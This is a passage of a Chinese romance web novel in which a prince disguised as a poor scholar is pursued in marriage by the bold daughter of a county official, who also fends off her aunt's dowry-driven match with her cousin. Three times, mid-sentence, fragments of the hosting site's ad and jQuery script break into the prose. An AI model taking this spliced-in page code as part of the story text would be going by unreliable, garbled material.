听到外头传来叩门声,顾清嘉眉心不自觉微蹙。 若是长缨回来,自然不会叩门。 至于宁王叔,昨日方才见过,也不会派人登门。 整个清江县,也没有旁人知晓他的身份,不识相地上门打扰。 除非…… 除非是那位屡次制造巧遇的许小姐,以讨回银子为由,借机上门打探什么? 她一位闺阁小姐,从哪里能知晓他的身份?必是幕后有人指使。 只不知那幕后之人,是许县丞、马县令,还是,他的好王叔? 咚咚,那人仍在叩门。 顾清嘉合上书卷,放到案头,站起身。 刚绕过书卷,便听院门外传来年长妇人洪亮的呼唤:“贾秀才,在家吗?开开门,我是隔壁包大娘啊。” 当朝二皇子顾清嘉,此刻本该在京城闭门反省,修身养性,不应出现在这不起眼的小城。 是以,他在此地化名贾卿固,外人眼中一位孑然一身的寻常书生。 听到院外呼唤,他脚步猛然一滞,眸光狐疑。 竟不是许小姐主仆? 这处院子隔壁,确实住着一位话多的包大娘。 听长缨说,从他们搬过来第二日,这位包大娘便时常领着孙儿、孙女在门口巷子里玩,小娃娃蹴鞠踢中院门,长缨开门打探,包大娘便会趁机跟长缨套近乎,打听他们来历。 自从包大娘无意中碰见他一次,对长缨笑得更加热络,隔三差五送来几个自家做的蒸饼、酱菜。 顾清嘉没碰过那些东西,倒是长缨,试过没毒后,悉数吃下肚,对那些松软发黄的蒸饼、颜色可疑的酱菜,赞不绝口。 略思忖,顾清嘉便猜到对方此番来意。 可惜今日长缨不在,否则定欣然开门。 “来了。”顾清嘉淡淡应声,并未透出心中不悦。 听到回应,包大娘面露喜色,收回敲门的手,将怀里抱着的礼品腾开,一手提一样。 顾清嘉打开门,神情微滞。 映入眼帘的,并非包大娘热切打量的眼神和蒸饼、酱菜,而是她喜上眉梢的笑脸,和手中提着的包装精美的礼品。 看那装礼品的匣子做工,便知价值不菲,不是寻常百姓无缘无故会送上门的。 顾清嘉困惑,面上不动声色。 “包大娘是来找长缨吗?他今日不在,若有事,晚辈可代为转达。”顾清嘉长身玉立,谦恭有礼一如往常。 哪知,包大娘提提手中礼品,冲他笑道:“我不找他,我找你!” “顶要紧的事,咱们进屋说。”包大娘笑着,自顾自抵开另一扇院门,从他身侧挤过去。 她往贾家送吃食,头一回贾家主仆还不好意思,后来都没拒绝,而且长缨有空时,还会教她们家虎子和大丫识字。 包大娘觉着,两家有来有往,彼此都了解,便算熟识,不必见外。 顾清嘉额角青筋跳了跳,可他总不能拉扯一位女性长者,把人往外赶。 若真如此,他在这处特意挑选出的清净小院,只怕就住不下去了。 只是,他生来便是天潢贵胄,从来只有人服侍他,哪有他亲自待客的时候? 眼下长缨不在,顾清嘉连水也没烧,便随手斟一盏早已放凉的水,准备递给包大娘时,方觉不妥。 除非他特意吩咐,身边是没人拿一盏清水怠慢他的。 迟疑的一瞬,包大娘似乎瞧出他的窘迫,且另有一番解读。 包大娘伸手取走茶盏,不在意地抿一口,轻叹道:“可怜见的,你这小伙子生得这样俊俏,偏偏父母双亡,没个倚靠,老大不小了,连个给你张罗婚事的人都没有,就一个小厮跟着,到底不如小娘子贴心,知冷知热。” 顾清嘉听着,顿时有种不太好的预感。 果然,下一瞬,便见包大娘拍拍桌上叠放的两方礼品匣,以一种颇为侠义的语气道:“贾秀才,你尽可放心,这婚事呀,大娘可以帮忙操持,远亲不如近邻嘛!你说是不是?” “女方的条件,你瞧这上好的料子、笔墨就知道,那是没得说,小娘子的模样说是千里挑一都不为过。你家中情况,她也都知道,不嫌弃,就相中你这人。只要你应承,不日便能完婚。银钱用度都由女方出,不用你操一份心。到时候你搬过去,跟女方一起住,还省一笔租金。哎呀,我早觉着你们是天造地设的一对儿了,就等你点头。” 包大娘越说越激动,红光满面,站起身,殷切道:“知道你们年轻人脸皮薄,可你家没个长辈,我只能跟你提了。你不好意思吱声也无妨,大娘懂你心意,这就去给人回话了啊。” 顾清嘉眼神惊疑不定,听到后来,只觉匪夷所思。 包大娘是替人来提亲的?! 父皇、母后要为他指婚,尚且被他使计避开,小小一个清江县,倒有人敢上门替他做主。 荒谬,可笑! “等等。”他快步挡在屋门口。 他毫不怀疑,自己再不说些什么,这位过于热心肠的包大娘真敢稀里糊涂把他卖掉。 “包大娘的意思是,有人要聘小生做赘婿?”顾清嘉拱手,摇头,“我贾家虽落魄,小生还不至于如此辱没门风,多谢大娘美意。” “没呀,人家小娘子不让你入赘。”包大娘喜滋滋道,“要不是这样天大的好事,我也不好意思上门提。这回没意见了吧?到时别忘了请大娘喝杯喜酒。” 所以,女方真就什么都不要,只为嫁他这个人? 顾清嘉过往认识的权贵成亲,或是依照祖宗规矩,或是各取所需,少有只图人的。 况且,他都不认得对方,对方又哪知他是怎样的人? 头一回被人这般直白 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 提亲,顾清嘉也是这会子才反应过来,包大娘似乎遗漏了最关键的信息。 倒不是他对这莫名其妙的婚事动了心思,而是,他真的很想知道,那位惊世骇俗,托包大娘来提亲的小娘子是何方神圣。 “大娘,您好意来提亲,总得告诉晚辈,对方是哪家的姑娘。”顾清嘉耐着性子问。 包大娘也是头一回做媒,没经验,本就怕出错,听他这么一问,气势顿时弱下来。 挠挠头,神情略显窘迫:“当然是许小姐啊,许县丞家的千金,你们昨日还见过的,就住我家东边那院子。” 直到往院门处走的时候,包大娘还恍惚着:“诶,我刚没说是阿玉吗?这可真是闹笑话了。” 顾清嘉错愕,怔愣好一阵,才接受许小姐托人来提亲的事实。 又是她幕后之人想出的招数? 为了往他身边塞人,还真是狗胆包天。 这么看,那幕后之人大抵不会是宁王叔,还没到图穷匕见的时候,宁王叔不至于算计他的婚事,来激怒他。 多半是马县令、许县丞知晓他的身份,为了自保,狗急跳墙。 动宁王叔不易,捏起他们却是轻而易举,他们是不敢明着拆穿他的身份的。 顾清嘉不打算顺水推舟,把一位不知道算不算无辜的女子牵扯进来。 他提起礼品,快步行至院门处,将东西还给包大娘。 对上包大娘讶然的眼神,他正色道:“多谢大娘好意,只是小生家道中落,穷困潦倒,不敢高攀许小姐,还请大娘代为向许小姐致歉。” 许菱玉一早去阿娘坟前拜谢过,回城顺道去了阿娘的陪嫁铺子。 期间特意让金钿从酒楼叫了一桌席面,待会儿送到桂花巷家里去,她要好好向包大娘道谢。 谁知,刚进巷子口,便见包大娘吃力地抱着她准备的礼品,站在她们家院门口叩门。 “包大娘?”许菱玉诧异唤。 她感觉不妙,脚步加快。 “哎呀,阿玉,你可回来了。”包大娘面色焦急,眼含歉意。 正好,院门被芹姨从里头打开。 她们齐齐望着包大娘,包大娘硬着头皮道:“阿玉,大娘笨嘴拙舌,亲事没说成,那贾秀才说他不敢高攀。” “东西还给你们。”包大娘把东西递给院门内呆立着的姚芹,讪讪自责,“不是阿玉不好,都怪我,我哪会做媒呀,没有金刚钻就不该揽这瓷器活,都怪我,都怪我。” “没事,让大娘费心了,您且回屋歇歇,待会儿过来用饭,把虎子、大丫,还有他们娘都叫上。我让金钿叫了席面,待会儿就送来。”许菱玉轻握一下她小臂,含笑宽慰她。 包大娘是个热心肠,嘴皮也伶俐,定然能把她夸得明明白白。 亲事不成,症结自然在那贾秀才身上。 说完,许菱玉也不进屋,抬脚便往巷子里头走去。 东西可沉,芹姨提着,行动受限,伸长脖子问她:“阿玉,你干什么去?” 许菱玉背对着她们,摆摆手:“等我回来用饭,很快。” 她要亲自去会会这贾秀才! 媒人携礼登门,且不必他入赘,本以为板上钉钉的亲事,谁知竟被他婉拒了。 什么高攀不上?他就是不愿意。 是他太清高,还是看不上她? 或者因为她是许县丞的女儿,他不敢应承? 许菱玉才不会在心里胡乱猜测,她要当面问个清楚。 5. 狂言 笃笃笃,许菱玉手压门环,重重叩门。 金钿在她身后,扯着她衣袖,小声劝阻:“小姐,你可是姑娘家,哪能干这上门逼婚的事?” 话音刚落,院门从里打开。 许菱玉相中的郎君,就站在门槛内侧。 见着是她,对方身姿似乎陡然僵直。 许菱玉目光顺着他突出的喉结往上,越过他薄而轻抿的唇,挺直的鼻,对上那双已在脑海中浮现过许多次的眼。 “许小姐,小生不才,当不起小姐看重,已同包大娘言明,还请小姐宽宥。”顾清嘉很快平复心绪,语气温和,不失仪态。 不管她因何目的故意接近他,顾清嘉都不打算与她有任何牵扯。 他若有意成亲,何必在即将选秀的节骨眼,故意惹怒父皇,被罚闭门思过,避到这清江县来? 虽然,这只是他清江县的诸多原因中,最微不足道的一个。 脑中一个念头快速闪过,顾清嘉未能捕捉到,便见眼前的许小姐微扬秀眉,顾盼神飞睥他:“若我是来讨债的呢?别忘了,你还欠我十几两银子,昨日还口口声声说要还的。怎么,不请我进去坐坐?” 欠债还钱,天经地义,左右他现下就能拿得出,不怕她进来过多纠缠。 顾清嘉略思量,侧过身,让出一条路来。 “金钿,你在门口守着,莫让外人来打扰。”许菱玉侧眸吩咐一身,便捉裙举步迈入门槛。 湖水蓝的裙子下,绣花鞋尖一晃,人已轻盈越过顾清嘉,行至院中。 少女孤身立于陌生庭院,姿态落落大方,自然地四下打量。 仿佛她不是硬要进来,而是被他邀请来的贵客。 顾清嘉侧眸望着她背影,小半思绪被鼻尖细细香气纠缠。 这香气淡淡的,似有似无,不俗气,不知来自巷中春花,还是少女身上脂粉。 穿堂风吹动少女轻软裙摆,娉娉袅袅,似风拂细柳,不经意为空落清寂的庭院增色。 但顾清嘉已明了,人不可貌相,此女脾性并非如外表一般,轻柔似春水。 家中有女郎造访,未免惹人非议,顾清嘉没关院门。 他回身,眸色已如常。 行至许菱玉身侧,似个迂腐的穷酸书生,施礼道:“许小姐稍待,小生这就进屋去取银钱。” 嘴里这般说着,却未展臂邀许菱玉进屋坐,而是大步越过她,自行进屋。 如此怠慢,她一个姑娘家,便该知难而退了。 许菱玉目光环顾四周之后,便落在他背影。 瞧他那大步流星的模样,是怕她赖着不走,影响他清誉么? 可惜,她今日就是来耍赖来着。 他是有些迂腐,可换句话说,也能称一句洁身自好不是? 她这般直言不讳,说要上门讨债,他不仅不恼,还当真乖乖去拿银子。 正如包大娘说的那样,脾气不差。 不过,她还想再试试他。 看他这张脸,究竟值不值得她多费心思。 其实真要是没遇着合适的人,她也能拜托高澍与她假成亲,高澍定然愿意为她两肋插刀的,可他爹高县尉不是省油的灯啊。 等风头过去,她想和离也麻烦,还辜负高澍一片痴心。 立在这空旷的小院,望着一眼几乎看不到多余陈设的屋子,许菱玉越看越庆幸。 幸而遇上落魄的贾秀才,模样俊,瞧着顺眼,好拿捏,解她燃眉之急。 许菱玉轻手轻脚走进屋内,自顾自坐到桌旁,朝顾清嘉消失的方向望去。 等他拿着东西一露面,那脸上一瞬的挣扎,被许菱玉抓个正着。 想请她出去,又不好意思开口么? 顾清嘉上前,将小小一方灰蓝色布包摊开,几块碎银呈至许菱玉眼前:“那日,多谢许小姐慷慨解囊。” 许菱玉常跟银子打交道,瞥一眼便知不少。 除非他敢用灌铅的假银子糊弄她。 但他一介白身,在清江县毫无根基,明知她爹是县丞,自然是不敢作假的。 瞧他家中境况,弄来这些银子恐怕费了不少心力,但他偏就能说到做到,倒是个实在人。 许菱玉目光落在他掌心,唇角噙笑,抬起素白柔荑。 灰蓝色粗布在他掌上摊开,覆盖住他手掌肌肤,从布料垂下的轮廓,也能辨出他手掌较为宽大。 她的手本就不大,一靠近他的,格外显小,衬得她多娇小似的。 可眼下,明明他这大个头才是被戏弄的那个呢。 顾清嘉不习惯被人这般靠近,尤其是对他有所企图的妙龄女子。 在京城时,他名声在外,挡去许多麻烦。 即便有贵女试图接近他,只需他冷眼扫过去,对方便会吓得面色苍白,远远避开。 偏他此刻身份乃是寻常书生,甚至是穷困落魄的书生,他不能对她动粗,甚至不能露出冷厉的眼神吓着她。 眼睁睁看着对方皙白的手指逼近,顾清嘉忍耐着,指骨莫名发痒,不自觉地动了动。 他劝慰自己,只要许菱玉干脆利落地拿银子走人,往后便没有理由再作纠缠。 顾清嘉眼睁睁看着,等着她取走碎银。 可许菱玉纤纤细指抬至碎银上方寸许处,并不往下落,而是忽而悬滞。 这样近的距离,顾清嘉几乎能隔着衣料感受到少女雪腕的温度,这让他感到困扰。 他克制着狠狠攥住她细腕,将人重重甩开的冲动,忍得连气息也随她迟滞的举动而放缓。 许菱玉盯着他微颤的指骨,心口划过一丝异样,他似乎不太喜欢女子靠近。 对他的好感,不由得又添一分。 等成了亲,便不担心他有朝一日变成许淳那般,在外拈花惹草恶心到她。 许菱玉见好就收,不再作弄他。 指尖从他掌心上方,移至他掌侧垂下的布料一角,继而将相对的两角捏起,轻轻拢至中间,将碎银遮拢在他掌心。 感受到头顶注视,许菱玉又将另外两角折起,同样交叠在他掌心。 右手食指在他掌心交叠的位置,不轻不重往下一压。 随即,许菱玉抬起盈盈生光的眼眸,含笑望他:“贾公子误会了,我是进来讨债的,可我不要银子,我要你这个人。” 顾清嘉平静的眼波为之震荡。 不知因那掌心一压的力道,还是她张狂不羁的话。 从未有人敢对顾清嘉这般口出狂言。 他震惊之余,紧紧攥起掌中碎银。 当朝二皇子,征战数载的铁 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 血将军,在这胆大包天的小丫头眼里,就值十两银子。 顾清嘉微微眯起眼,审视着眼前少女,她奉命接近他,该不会并不知他是谁? “秀才,你干嘛这样看着我?”许菱玉疑惑,不太懂他此刻眼神算不算是羞恼。 “别误会,我是诚心诚意想与你结亲,并非有意折辱你。”许菱玉说着,视线扫过他屋子里外,“你瞧,你这院中、屋内都是干干净净的,没一样多余陈设,离家徒四壁也差不多了。你家资不丰,读书取仕却是极花钱的,还不知哪年能考中。只要你答应婚事,往后我可以供你吃住、读书,为你上下打点,于你而言,百利而无一害是不是?” 听起来很有道理,若顾清嘉是寻常书生,恐怕包大娘上门提亲时已然心动。 可惜,他是个假书生,既不却银钱,也不需要读书取仕。 拒绝的话,已经说过,许小姐显然听不进去。 顾清嘉略作思量,轻叹一声:“以许小姐的容貌、家世,清江县里愿意娶小姐为妻的,必不再少数,小生与许小姐不过萍水相逢,许小姐何苦执意托付终生呢?” “想娶我的是不少,可他们都没贾秀才你生得俊朗啊。”许菱玉抬眸,润泽的水眸中倒映着顾清嘉的面容,大大方方欣赏。 顾清嘉面色微变:“小生从未见过你这般,这般……” “这般什么?”许菱玉仍旧望着他,甚至踮起足尖,凑得更近些,逼得顾清嘉不得不后退一步。 许菱玉眼中笑意漾开:“没见过像我这般没羞没臊的女子是不是?” “巧了,我也没见过似你这般不识抬举的书生。”不是什么好词,可许菱玉的语气分明透着夸赞,她越瞧他越觉有趣,故意轻佻地冲他挤挤眼,“可本小姐偏要抬举你,等着啊,我会嫁你的。” 语气像极了世间男子向女子许诺:“放心,我会娶你的。” “我不会同意。” 许菱玉走出院门时,身后传来男子无奈却坚定的嗓音。 她不意外地摆摆手:“不,你会,明日去县衙立婚书啊。” 言毕,迈出院门,步履轻快,春风得意。 “小姐,你在贾公子眼里,只怕已成了强抢民男的恶小姐。”金钿跟在许菱玉身侧,替自家小姐犯愁,“小姐这样吓唬他,他怎么会乖乖听话,去县衙立婚书啊?” 许菱玉笑:“他呀,性子是好,骨子里却是清傲的,不吓他也不会乖乖听话的。他是谦谦君子,我才特别想逗他。” “别担心,你家小姐我已经想好法子了。”许菱玉侧首,点点自己脑门,冲金钿眨眨眼,“不怕他不来。” 原本,许菱玉只是想找个人成亲,躲过择选。 等她利用这婚事,把想做的事做好,便给对方一笔小钱,与之和离,两不相欠。 可一想到那贾秀才出众的风仪、品性,许菱玉对这婚事倒是多了几分期待。 和离倒是不必急着安排了。 小巷风中,弥散着各家炊烟气息,和膳食的香气。 许菱玉不自觉加快脚步,语气也轻快:“走,回家吃饭去!” 她面带笑意,刚进院门,便听院里传来一道熟悉的嗓音:“哟,阿玉同那新邻居聊了些什么,这样高兴?” 是她的好舅母江氏。 6. 亲事 舅母手里端着一盘刚出锅的河鲜,立在屋前石阶旁,侧眸打量着许菱玉。 坐在膳桌旁,正拿点心招待包大娘一双孙儿的孟千里,赶忙站起身唤:“表妹。” 唤完,不知想到什么,面色涨红。 许菱玉一眼便瞧出,八成是舅母听说她不参加择选的风声,又同表哥叮嘱什么了。 “舅母,表哥。”许菱玉唇角笑意不减,眼中愉悦却是淡下来,“还以为舅母今年不来,招呼不周,还请舅母别见怪。” 不等江娴开口,许菱玉便吩咐金钿:“快去摆膳,哪能让舅母受累呢。” 金钿忙上前接过菜盘,手脚麻利往屋里摆。 许菱玉挽住江娴的手,一口一个舅母,叫得甜甜的,脆生生的,同她说起早上去阿娘坟前祭拜的事。 “阿玉不孝,一段时日没去阿娘坟前祭扫,周边的草木又长深了,就我和金钿两个,费了好些功夫才清理好。”许菱玉状似无意絮叨着,顺势拉开座位,将江娴安置在膳桌上首。 孟千里有些手足无措,插不上话,笑容勉强。 倒是江娴,听得脸上火辣辣的。 阿玉分明是在骂他们做舅舅、舅母的呢! 方才她拿饴糖,从虎子、大丫两个小娃娃嘴里套话,听说巷尾那家搬来的是位姓贾的书生,江娴当时心里就不舒坦。 阿玉一个姑娘家,去男人家里串门能有什么好事? 孤男寡女,伤风败俗! 没娘的孩子,就是没人教养。 可一想到阿玉她娘留下的丰厚嫁妆,江娴还是耐着性子,给足阿玉颜面,没直接去贾秀才家把人训回来。 江娴本想等阿玉回来,问问阿玉与那秀才的关系,再敲打她几句的。 哪曾想,她还没开口,许菱玉倒先来点她了! 江娴心里有气,可她也知道自家理亏。 这会子,她也顾不上教训许菱玉了。 江娴按捺怒气,拉住许菱玉的手,讪笑着解释:“都怪我们太忙了,一时没顾上。阿玉,你知道的,我和你舅舅守着那份家业不容易,这年头,生意是越来越难做了。今日你舅舅本是要来的,临时被一位老主顾绊住脚,才叫了你表哥来代他上柱香。” “阿玉,你要体谅我们,我和你舅舅努力守着那家业,最后还不都是留给……” 江娴没说完,便被许菱玉接过去:“留给表哥的嘛,舅舅、舅母忙着为表哥攒家当,好说亲事,阿玉怎会不理解?” 她眼神灵动,语气俏皮,瞥向孟千里的眼神带着些捉狭,即便是有意打断,也不叫人难堪。 包大娘假装听不懂她们话里的机锋,笑呵呵道几句吉利话,又夸赞孟千里一表人才,屋里气氛活络不少。 正好,芹姨那边菜都烧好,酒楼里的菜也早送来摆上了,许菱玉吩咐金钿取出备好的果子茶,招呼众人用膳。 午膳后,虎子、大丫要歇觉,他们娘怀里抱一个,手里拉一个,先回去了。 包大娘因要去给儿子送饭,也没多留。 金钿和芹姨收拾下碗箸,在灶房忙碌。 屋子里只剩许菱玉一人,招呼江娴母子两个。 “舅母是再坐坐,还是回去看铺子?”许菱玉浅笑,“我这里已没有什么要帮忙的,不敢耽误舅母的正事。” “娘,爹一个人忙不过来,咱们先回去吧。”孟千里知道他娘迟迟不走的原因,也知道他娘想说什么,但他不想让他娘开口。 不管是从前还是今日,他明显感觉到,表妹对他并无男女之情,也没有半分想嫁给他的意思。 他娘比他精明得多,不可能听不出来,可娘仍旧固执。 果然,他的阻拦并不管用。 “忙什么忙?生意再重要,能比终身大事更重要?”江娴斥了儿子一句。 继而,端量着许菱玉姣好的容颜,压低声音问:“阿玉,我听说你不打算参加择选?可你年龄在这儿,许淳的官职在这儿,哪是你说不去就不去的?” “多谢舅母关心,阿玉已想到办法,可以不参选,也不会被人追究的。”许菱玉没打算细说。 左右明日之后,尘埃落定,该知道的,舅母都会知道。 江娴没问她想的什么办法,在江娴看来,那都无关紧要。 江娴摇摇头,轻叹:“哎,你一个未出阁的姑娘,才经历多少事?能想到什么万全的法子?舅母倒是想到一个绝妙的办法,你听我的,准没错。” 许菱玉笑望着她,没应声。 江娴以为她是没听懂,激动之下,也没卖关子。 “哎呀,就是尽快把你的亲事定下来,只要定了亲,不就不在待选之列了?”想到即将促成的美事,江娴眉开眼笑。 可又不能让这小丫头看出她的企图,江娴竭力忍着喜悦,语重心长道:“你今年都要过十七生辰了,即便不选秀,我和你舅舅也商量着,该替你做主,代你阿娘为你定个好人家。天大地大,娘亲舅大,我和你舅舅不替你做主,还能指望谁呢?” “只是,我们看来看去,这清江县能配得上阿玉你的,屈指可数。思来想去,我们觉得呀,不如你和千里成亲,嫁回孟家来,你表哥的性子你是知道的,有担当,肯努力,你们肯定能把日子过好。我和你舅舅更会疼着你,总比你嫁到别家去,受婆婆姑子磋磨好,你说是不是?” “只要阿玉你点头,我就好好劝劝你舅舅,让他暂时放下旧怨,去找许淳提亲。” 江娴说着,一时欢喜,一时愁。 欢喜的是阿玉的丰厚嫁妆,往后都是孟家子孙的。 愁的则是阿玉的性子,花钱大手大脚,还跟戏班子里的俊俏武生眉来眼去,与巷尾新搬来的秀才郎也是不清不楚,恐怕成亲后会不安于室,须得她好好调教。 这厢,江娴已暗自想着调教人的手段。 孟千里却低着头,没接话,手指抠得泛红,耳朵也红得像火烧一样。 “表哥也这样想吗?”许菱玉没着急回答江娴的话,而是温声问孟千里。 孟千里抬眸,动作迟缓又沉重,对上许菱玉澄滢的眼,他眼神躲闪,回应得很是艰难:“我,我……” “你不愿意。”许菱玉不给他反驳的机会,语气笃定,温和而有力地质问,“为什么不愿告诉舅母?” 江娴脸色微变,恨铁不成钢:“千里,说你愿意。你说话呀!来之前娘怎么叮嘱你的?!” “表哥,方才舅母还说,表哥有担当,肯努力。”许菱玉语气温柔,看似漫不经心,却字字直击要害,“阿玉也一直以为,我唯一敬重的兄长,是一位有担当的好儿郎,若遇上他心仪的女子,他绝不会辜负。” 江娴听着怪怪的,又摸不准哪里怪。 这会子她要哄着许菱玉,自不能怪许菱玉含混不清。 只好将火气冲着孟 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 千里:“孟千里,你一个大男人,别婆婆妈妈的,说句你愿意求娶阿玉,好让阿玉知道你的心意!” 从许菱玉说出那番话,孟千里便心虚地垂首,不敢再与之对视。 他心中天人交战,面上一阵红,一阵白。 “你要急死我呀!”江娴焦急的嗓音带一丝哭腔。 她委屈呀,她江娴寄予精心栽培,寄予厚望的儿子,怎么总到关键时候让她有种无力感? “表哥,你自己不争取,就永远得不到真正想要的。”许菱玉盯着孟千里发顶,缓缓开口。 她的话重重落在孟千里心口,不啻惊雷。 孟千里狠狠一震。 她知道,她肯定都知道! 难怪表妹不想嫁他,表妹根本不会嫁给这样懦弱的他! 孟千里双手攥紧,看着手背涨起的青筋,他决然抬首。 没应许菱玉,红红的眼含着泪,定定盯着江娴:“娘,儿子有喜欢的人了,不能娶表妹。” 晴天霹雳,江娴只觉眼前一黑。 随即,握住扶手,厉声唤:“孟千里!” “儿子要娶……”孟千里话未说完,骤然被许菱玉打断。 “表哥!”许菱玉冲他摇头,“慎言,若无十足的把握,便是害人害己。” 听到提醒,孟千里正好看清江娴眼中几欲杀人的愤恨,他陡然惊出一身冷汗。 他娘不会真的杀人,却有许多办法毁掉他心仪之人。 孟千里截住话头,俯身,额头重重叩在地砖上:“求娘成全。” 许菱玉望着孟千里弓起的脊背,浅笑。 这是她记忆中,表哥最像个男儿的时刻。 院外春阳照着枝条上新发的嫩芽,微风斜斜穿入窗棂,沙沙声里裹着草木生机。 而屋内,阳光照不到的地方,还有些冷意。 江娴盯着儿子的脊背,被风吹得,冷得一个激灵。 “都是阿玉逼你这么说的,是不是?你天天在娘眼皮子底下,娘还不知道你?你能喜欢谁?你只会喜欢阿玉。”江娴快速回想一遍许菱玉的话,心中生恨,望着许菱玉的眼神也不再和善,“阿玉,你是不是跟外头哪个男人私相授受了,才不愿嫁给千里?” “那人是谁?高县尉的公子?戏班子里的武生?还是巷尾新搬来的小白脸?”江娴语气轻蔑,“你若不学好,定要回去告诉你舅舅,让他好好教导你!” “娘,你怎能把表妹说得这样不堪?!”孟千里睁大双眼。 他娘不是口口声声把表妹当女儿看待吗?有哪个母亲会这样贬损自己的女儿? 这会子,孟千里才意识到,表妹不嫁他,并不只是不喜欢他一个。 面对着江娴的欲加之罪,感受到孟千里愧疚的目光,许菱玉并未与江娴争执。 而是站起身,款款行至供桌前,伸手拿起母亲孟茴的牌位,捏起袖口轻轻擦拭着,轻道:“阿娘您看,没娘的孩子就是会被人欺负的,方才那些恨不得逼死女儿的话,竟出自我亲舅母之口。舅母是长辈,女儿不敢顶撞,娘在天上看着,若是心疼女儿,还请为女儿做主啊。” 她声音虽轻,却能让江娴听清楚。 一席话,说得江娴又心虚,又恼怒。 尤其最后一句,让她面色顿时煞白。 许菱玉这小蹄子,竟然当着她的面,向孟茴告状,还让孟茴在天上不要放过她?! 7. 成竹 “行,你伶牙俐齿,六亲不认,舅母说不过你。”江娴起身,拉着孟千里,走到门口,恨恨道,“咱们走着瞧,等你长成老姑娘,嫁不出去,可别去我们孟家门口哭!” “表妹,对不起。”孟千里话音刚落,便被江娴扯走。 听到动静不对,芹姨拎着刚洗好的铲子出来,还滴着水,金钿也顺手摸了灶房门口的扫帚,带起一阵尘灰。 出来看时,江娴已拉着孟千里出了院门。 许菱玉望着芹姨和金钿,哭笑不得:“你们做什么?要帮我把他们打出去?不至于,我自己能把她气走。” 许菱玉把长辈气走,芹姨浑然不觉得她大逆不道,看看大开的院门,再看看眉眼含笑的许菱玉,滴水的铲子放低了些:“我们阿玉没被欺负就行。” 说完,拎着铲子,继续回灶房收拾去了。 而金钿,把扫帚靠在墙根,走到许菱玉身侧,忧心忡忡:“小姐,就这么气跑了舅太太,万一请来舅老爷教训你,怎么办?您该忍着些脾气,叫芹姨过来的。” 芹姨虽是下人,却是孟茴留下的老人,且奶大了许菱玉,劳苦功高,是不怕与江娴起冲突的。 江娴也无法用忠、孝来压她。 “放心,舅舅、舅母暂时没空管我。”许菱玉想到孟千里的事,笑得意味深长。 今年上元夜,她无意中撞见表哥隐在灯火阑珊处,往一位女子发间插花簪,两人举止守礼,可那双双垂首含羞的模样,俨然一对眷侣。 她知道孟家的情况,便一直没说破。 后来悄悄让人查了,那女子名唤袁芷兰,父亲是个木匠,一家都老实本分。 是以,今日孟千里想说出对方芳名,许菱玉特意阻拦。 她希望孟家内部生乱,莫来惦记她的事,却没想牵连无辜。 午后,许菱玉拆阅了几封书信,又提笔写下两封回信,交给金钿:“去驿站,一封送去幽州,一封送去檀州。” “是。”金钿接过封好的书信,塞入袖袋,领命而去。 芹姨提着针线筐,坐到许菱玉对首,取出缝了一半的衣裳,把布料稍稍拿远些,看看针脚,这才边缝边问许菱玉:“阿玉,真打算嫁那姓贾的书生?我听金钿说,他没答应,你有什么打算?” “是,芹姨您知道的,我喜欢生得好看的郎君。”许菱玉放下手中的事,以手支颐,俏皮地冲芹姨眨眨眼,“他是没答应,不过我有法子让他答应。” 至于法子是什么,她从贾家出来的时候就想好了。 “你呀,处处都像你娘,只是千万别……”芹姨说到一半,叹了口气,闷头缝衣。 许菱玉知道,芹姨是怕她步娘的后尘,栽在男人手里。 “不会。”许菱玉挪到芹姨身侧,环住她肩膀,稍稍使力,保证。 “芹姨,您还记不记得,我小时候,曾经不小心摔坏过一块玉璧?”许菱玉温声问。 芹姨本还想对她的婚事说些什么,又无奈自己人微言轻,帮不到她什么。 况且,她奶大的孩子,她知道,阿玉是个有主意的,孩子既然说有法子应付,便是真有法子。 听许菱玉提起小时候的事,芹姨注意力被拉回许菱玉幼年时,便顾不上问她的打算了。 芹姨将她婚事暂且搁置一旁,笑意慈和瞟她一眼:“怎么突然想起那块玉璧了?” 随即,她收回视线,继续缝衣裳:“是有那么一块玉璧,我记得是青玉的,雕刻云纹,顶好看,是你阿娘生前喜爱之物。你那时候年纪小,调皮,非要拿着玩,不小心给摔成两半,可把我心疼的。” “拿去铺子里,想让人拿金子镶起来,修补好,可我看那匠人手艺不算好,怕辱没了那玉,就没让修。这么多年过去,应当在哪个箱笼底下收着呢。”芹姨念叨着。 时日太久,又是一块摔坏了的玉璧,芹姨一时没想起来在哪个箱笼里。 她手中动作慢下来,正思量着,便听许菱玉道:“芹姨,帮我找出来吧,我有用。” “啊?”芹姨诧异抬头。 许菱玉没解释,她也没细问。 这两年,许菱玉让芹姨在这处院子里颐养天年,好多事都不需要芹姨去做了,可阿玉时常借在桂花巷小住的机会,离开一段时间。 芹姨隐隐能猜到,阿玉身上还担着些她不知道的事。 这会子,许菱玉说拿那玉璧有用,芹姨只当是与她不知道的那些事有关。 为免耽误许菱玉的事,芹姨当即把布料针线塞进筐篓,拍拍衣摆,起身道:“我这就去给你找。” 许菱玉笑笑,也一起去库房找。 小半个时辰后,终于在角落里一个红木箱笼找到。 摔做两半的青玉,玉质润泽,品相极好。 许菱玉收拢指尖,将残玉攥起,笑容胸有成竹,仿佛攥起一段飞不掉的姻缘。 贾家院子里,顾清嘉坐在临窗的书案侧,正翻阅书卷。 忽而听见两声叩门声,继而,有人自行打开院门进来,是长缨。 长缨进屋,朝外扫视过,合上门扇轻禀:“公子,属下查到一些关于许大人的事。” 许是忙得未停歇,他嗓音有些干哑。 “先喝口茶再说。”顾清嘉收起书卷,瞥向放置茶具的桌子,起身。 长缨忙道:“属下先去烧水。” “不必。”顾清嘉说着,已自顾自斟一杯凉茶来饮,还顺手斟一杯递给长缨。 长缨看看放在自己眼前的茶盏,再看看一脸淡漠的主子,双腿微微发抖,继而跪下:“属下该死。” 公子金尊玉贵,何曾给人倒过水?更别说对他这个下人。 除非,他无意中犯了什么错,公子赏他一盏毒茶,让他去死。 “起来坐好。”顾清嘉拧眉,声音冷淡,“喝茶,回话。” 长缨起身,坐到桌边离顾清嘉最远的位置上,视死如归饮下凉茶,凉意划过喉间,如寒利的刀刃。 可他感觉得到,水里没毒。 顾清嘉神情自若饮茶,不知在想什么。 长缨余光留意着主子,额间冷汗渐渐消退。 